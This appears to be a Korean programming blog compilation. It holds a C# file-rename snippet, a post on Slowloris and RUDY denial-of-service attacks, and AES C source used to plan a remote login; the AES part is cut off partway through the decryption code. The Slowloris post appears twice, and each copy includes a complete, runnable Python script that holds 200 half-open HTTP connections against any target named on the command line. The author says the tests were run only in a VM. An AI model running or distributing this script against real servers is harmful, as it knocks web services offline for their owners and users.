경로명을 참조하여 파일명을 바꾸는 프로그램이다.
private static string Rename(string filePath, string oldFile, string newFile)
{
newFile = filePath + "\" + newFile;
System.IO.File.Move(oldFile, newFile);
return "";
}
rename 함수는 인터넷에서 참조했고, 디렉터리를 리커시브하게 탐색하는 코드는 msdn에서 봤다.
c:에서 확장자를 지정하거나 파일명을 지정해 하위 폴더의 파일명을 바꾼다. 같은 레벨의 파일은 바뀌지 않는다.
한번 바뀐 파일은 no file 이란 출력을 하도록 개선했다.
[Perl] RUDY, Slowloris 공격
http://advent.perl.kr/2012/2012-12-17.html
DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.
해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.
$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More
참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.
cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)
# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]
을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.
와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.
웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.
실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.
서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.
[python]
import socket, random, time, sys
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
sockets = []
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, 80))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Use it like this: python {} example.com".format(sys.argv[0]))
sys.exit()
ip = sys.argv[1]
count = 200
print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
[Perl] RUDY, Slowloris 공격
http://advent.perl.kr/2012/2012-12-17.html
DoS 공격 중 탐지하기 어려워 방어가 용이하지 않은 slowloris 공격이 있다.
해당 공격 패킷을 Perl 로 작성한 예가 있는데, 직접 테스트 해 보았다.
$ sudo cpan IO::Socket::INET IO::Socket::SSL Devel::Trace::More
참조 경로에는 상기 명령어로 관련 라이브러리를 설치한다.
cpan 이나 필요한 것들이 있으면 더 설치한다.(OS 상황마다 다를 것이다.)
# ./app.pl -dns [타겟ip] -num [세션수] -timeout [유휴시간]
을 입력하면 문자열로 로고 비슷한 글자들이 출력되며 패킷 관련 내용이 출력된다.
와이어 샤크로 캡처해 보면, 새로운 세션들로(포트 번호가 증가하며) 접속 패킷이 전송된다.
웹서버에서도 netstat 로 여러 포트들이 연결되어 있는 것의 확인이 가능하다.
실제 공격은 불법이므로, 가상머신에서 테스트 해 보았다.
서버에서 허용된 세션 수를 초과하면 더 이상 접속되지 않는 것을 확인하였다.
[python]
import socket, random, time, sys
headers = [
"User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Accept-language: en-US,en"
]
sockets = []
def setupSocket(ip):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((ip, 80))
sock.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))
for header in headers:
sock.send("{}\r\n".format(header).encode("utf-8"))
return sock
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Use it like this: python {} example.com".format(sys.argv[0]))
sys.exit()
ip = sys.argv[1]
count = 200
print("Starting DoS attack on {}. Connecting to {} sockets.".format(ip, count))
for _ in range(count):
try:
print("Socket {}".format(_))
sock = setupSocket(ip)
except socket.error:
break
sockets.append(sock)
while True:
print("Connected to {} sockets. Sending headers...".format(len(sockets)))
for sock in list(sockets):
try:
sock.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
except socket.error:
sockets.remove(sock)
for _ in range(count - len(sockets)):
print("Re-opening closed sockets...")
try:
sock = setupSocket(ip)
if sock:
sockets.append(sock)
except socket.error:
break
time.sleep(15)
[C] epochtime double 형, sprintf
[C] asc2hex
[C++] AES-128 활용 원격 로그인 구현
계획은 이렇다.
받은 ID, PW를 asc2hex로 변환한다.
C/S 프로그램에서 AES 128로 암호화한 ID, PW를 base64로 인코딩해 보낸다.
이 때, 동적 키 값의 일부를 같이 보낸다.(얼마나 보낼지가....)
서버에서 base64 디코딩한 id, pw를 파싱해 복호화한 값을 php에서 처리해 인증한다.
인증에 문제가 없으면, 동적 키값과 다른 정보를 조합한 md5값을 보낸다.
클라이언트에서는 역시 동적 키 값과 다른 정보가 조합된 md5값을 비교한다.
http://comp.ist.utl.pt/ec-csc/Code/Ciphers/
/*
******************************************************************
** Advanced Encryption Standard implementation in C. **
** By Niyaz PK **
** E-mail: niyazlife@gmail.com **
** Downloaded from Website: www.hoozi.com **
******************************************************************
This is the source code for encryption using the latest AES algorithm.
AES algorithm is also called Rijndael algorithm. AES algorithm is
recommended for non-classified by the National Institute of Standards
and Technology(NIST), USA. Now-a-days AES is being used for almost
all encryption applications all around the world.
THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT
IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL
TO UNDERSTAND THE AES ALGORITHM.
Comments are provided as needed to understand the program. But the
user must read some AES documentation to understand the underlying
theory correctly.
It is not possible to describe the complete AES algorithm in detail
here. For the complete description of the algorithm, point your
browser to:
http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf
Find the Wikipedia page of AES at:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
******************************************************************
*/
// Include stdio.h for standard input/output.
// Used for giving output to the screen.
#include<stdio.h>
#include<iostream>
#include<fstream>
#include<stdlib.h>
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4
// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.
int Nr=0;
// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.
int Nk=0;
// in - it is the array that holds the plain text to be encrypted.
// out - it is the array that holds the key for encryption.
// state - the array that holds the intermediate results during encryption.
unsigned char in[16], out[16], state[4][4];
// The array that stores the round keys.
unsigned char RoundKey[240];
// The Key input to the AES Program
unsigned char Key[32];
int getSBoxValue(int num)
{
int sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, //0
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, //1
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, //2
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, //3
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, //4
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, //5
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, //6
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, //7
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, //8
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, //9
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, //A
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, //B
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, //C
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, //D
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, //E
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; //F
return sbox[num];
}
// The round constant word array, Rcon[i], contains the values given by
// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(28)
// Note that i starts at 1, not 0).
int Rcon[255] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb };
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to encrypt the states.
void KeyExpansion()
{
int i,j;
unsigned char temp[4],k;
// The first round key is the key itself.
for(i=0;i<Nk;i++)
{
RoundKey[i*4]=Key[i*4];
RoundKey[i*4+1]=Key[i*4+1];
RoundKey[i*4+2]=Key[i*4+2];
RoundKey[i*4+3]=Key[i*4+3];
}
// All other round keys are found from the previous round keys.
while (i < (Nb * (Nr+1)))
{
for(j=0;j<4;j++)
{
temp[j]=RoundKey[(i-1) * 4 + j];
}
if (i % Nk == 0)
{
// This function rotates the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
// Function RotWord()
{
k = temp[0];
temp[0] = temp[1];
temp[1] = temp[2];
temp[2] = temp[3];
temp[3] = k;
}
// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.
// Function Subword()
{
temp[0]=getSBoxValue(temp[0]);
temp[1]=getSBoxValue(temp[1]);
temp[2]=getSBoxValue(temp[2]);
temp[3]=getSBoxValue(temp[3]);
}
temp[0] = temp[0] ^ Rcon[i/Nk];
}
else if (Nk > 6 && i % Nk == 4)
{
// Function Subword()
{
temp[0]=getSBoxValue(temp[0]);
temp[1]=getSBoxValue(temp[1]);
temp[2]=getSBoxValue(temp[2]);
temp[3]=getSBoxValue(temp[3]);
}
}
RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];
RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];
RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];
RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];
i++;
}
}
// This function adds the round key to state.
// The round key is added to the state by an XOR function.
void AddRoundKey(int round)
{
int i,j;
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];
}
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
void SubBytes()
{
int i,j;
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
state[i][j] = getSBoxValue(state[i][j]);
}
}
}
// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
void ShiftRows()
{
unsigned char temp;
// Rotate first row 1 columns to left
temp=state[1][0];
state[1][0]=state[1][1];
state[1][1]=state[1][2];
state[1][2]=state[1][3];
state[1][3]=temp;
// Rotate second row 2 columns to left
temp=state[2][0];
state[2][0]=state[2][2];
state[2][2]=temp;
temp=state[2][1];
state[2][1]=state[2][3];
state[2][3]=temp;
// Rotate third row 3 columns to left
temp=state[3][0];
state[3][0]=state[3][3];
state[3][3]=state[3][2];
state[3][2]=state[3][1];
state[3][1]=temp;
}
// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}
#define xtime(x) ((x<<1) ^ (((x>>7) & 1) * 0x1b))
// MixColumns function mixes the columns of the state matrix
void MixColumns()
{
int i;
unsigned char Tmp,Tm,t;
for(i=0;i<4;i++)
{
t=state[0][i];
Tmp = state[0][i] ^ state[1][i] ^ state[2][i] ^ state[3][i] ;
Tm = state[0][i] ^ state[1][i] ; Tm = xtime(Tm); state[0][i] ^= Tm ^ Tmp ;
Tm = state[1][i] ^ state[2][i] ; Tm = xtime(Tm); state[1][i] ^= Tm ^ Tmp ;
Tm = state[2][i] ^ state[3][i] ; Tm = xtime(Tm); state[2][i] ^= Tm ^ Tmp ;
Tm = state[3][i] ^ t ; Tm = xtime(Tm); state[3][i] ^= Tm ^ Tmp ;
}
}
// Cipher is the main function that encrypts the PlainText.
void Cipher()
{
int i,j,round=0;
//Copy the input PlainText to state array.
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
state[j][i] = in[i*4 + j];
}
}
// Add the First round key to the state before starting the rounds.
AddRoundKey(0);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr-1 rounds are executed in the loop below.
for(round=1;round<Nr;round++)
{
SubBytes();
ShiftRows();
MixColumns();
AddRoundKey(round);
}
// The last round is given below.
// The MixColumns function is not here in the last round.
SubBytes();
ShiftRows();
AddRoundKey(Nr);
// The encryption process is over.
// Copy the state array to output array.
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
out[i*4+j]=state[j][i];
}
}
}
int main()
{
int i;
// Recieve the length of key here.
while(Nr!=128 && Nr!=192 && Nr!=256)
{
printf("Enter the length of Key(128, 192 or 256 only): ");
scanf("%d",&Nr);
}
// Calculate Nk and Nr from the recieved value.
Nk = Nr / 32;
Nr = Nk + 6;
// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.
// Part 1: ********************************************************
// The array temp stores the key.
// The array temp2 stores the plaintext.
unsigned char temp[32] = {0x00 ,0x01 ,0x02 ,0x03 ,0x04 ,0x05 ,0x06 ,0x07 ,0x08 ,0x09 ,0x0a ,0x0b ,0x0c ,0x0d ,0x0e ,0x0f};
unsigned char temp2[32]= {0x00 ,0x11 ,0x22 ,0x33 ,0x44 ,0x55 ,0x66 ,0x77 ,0x88 ,0x99 ,0xaa ,0xbb ,0xcc ,0xdd ,0xee ,0xff};
// Copy the Key and PlainText
for(i=0;i<Nk*4;i++)
{
Key[i]=temp[i];
in[i]=temp2[i];
}
// *********************************************************
// Uncomment Part 2 if you need to read key and plaintext from the keyboard.
// Part 2: ********************************************************
/*
//Clear the input buffer
flushall();
//Recieve the key from the user
printf("Enter the Key in hexadecimal: ");
for(i=0;i<Nk*4;i++)
{
scanf("%x",&Key[i]);
}
*/
printf("Enter the PlainText in hexadecimal: ");
for(i=0;i<Nb*4;i++)
{
scanf("%x",&in[i]);
}
// ********************************************************
// The KeyExpansion routine must be called before encryption.
KeyExpansion();
// The next function call encrypts the PlainText with the Key using AES algorithm.
Cipher();
// Output the encrypted text.
printf("nText after encryption:n");
for(i=0;i<Nb*4;i++)
{
printf("%02x ",out[i]);
}
printf("nn");
}
/*
******************************************************************
** Advanced Encryption Standard implementation in C. **
** By Niyaz PK **
** E-mail: niyazlife@gmail.com **
** Downloaded from Website: www.hoozi.com **
******************************************************************
This is the source code for decryption using the latest AES algorithm.
AES algorithm is also called Rijndael algorithm. AES algorithm is
recommended for non-classified use by the National Institute of Standards
and Technology(NIST), USA. Now-a-days AES is being used for almost
all encryption applications all around the world.
THE MAIN FEATURE OF THIS AES ENCRYPTION PROGRAM IS NOT EFFICIENCY; IT
IS SIMPLICITY AND READABILITY. THIS SOURCE CODE IS PROVIDED FOR ALL
TO UNDERSTAND THE AES ALGORITHM.
Comments are provided as needed to understand the program. But the
user must read some AES documentation to understand the underlying
theory correctly.
It is not possible to describe the complete AES algorithm in detail
here. For the complete description of the algorithm, point your
browser to:
http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf
Find the Wikipedia page of AES at:
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
******************************************************************
*/
// Include stdio.h for standard input/output.
// Used for giving output to the screen.
#include<stdio.h>
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4
// The number of rounds in AES Cipher. It is simply initiated to zero. The actual value is recieved in the program.
int Nr=0;
// The number of 32 bit words in the key. It is simply initiated to zero. The actual value is recieved in the program.
int Nk=0;
// in - it is the array that holds the CipherText to be decrypted.
// out - it is the array that holds the output of the for decryption.
// state - the array that holds the intermediate results during decryption.
unsigned char in[16], out[16], state[4][4];
// The array that stores the round keys.
unsigned char RoundKey[240];
// The Key input to the AES Program
unsigned char Key[32];
int getSBoxInvert(int num)
{
int rsbox[256] =
{ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb
, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb
, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e
, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25
, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92
, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84
, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06
, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b
, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73
, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e
, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b
, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4
, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f
, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef
, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61
, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
return rsbox[num];
}
int getSBoxValue(int num)
{
int sbox[256] = {
//0 1 2 3 4 5 6 7 8 9 A B C D E F
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
return sbox[num];
}
// The round constant word array, Rcon[i], contains the values given by
// x to th e power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
// Note that i starts at 1, not 0).
int Rcon[255] = {
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,
0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39,
0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a,
0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8,
0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef,
0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc,
0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b,
0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3,
0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94,
0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20,
0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35,
0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, 0x61, 0xc2, 0x9f,
0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb, 0x8d, 0x01, 0x02, 0x04,
0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63,
0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd,
0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb };
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
void KeyExpansion()
{
int i,j;
unsigned char temp[4],k;
// The first round key is the key itself.
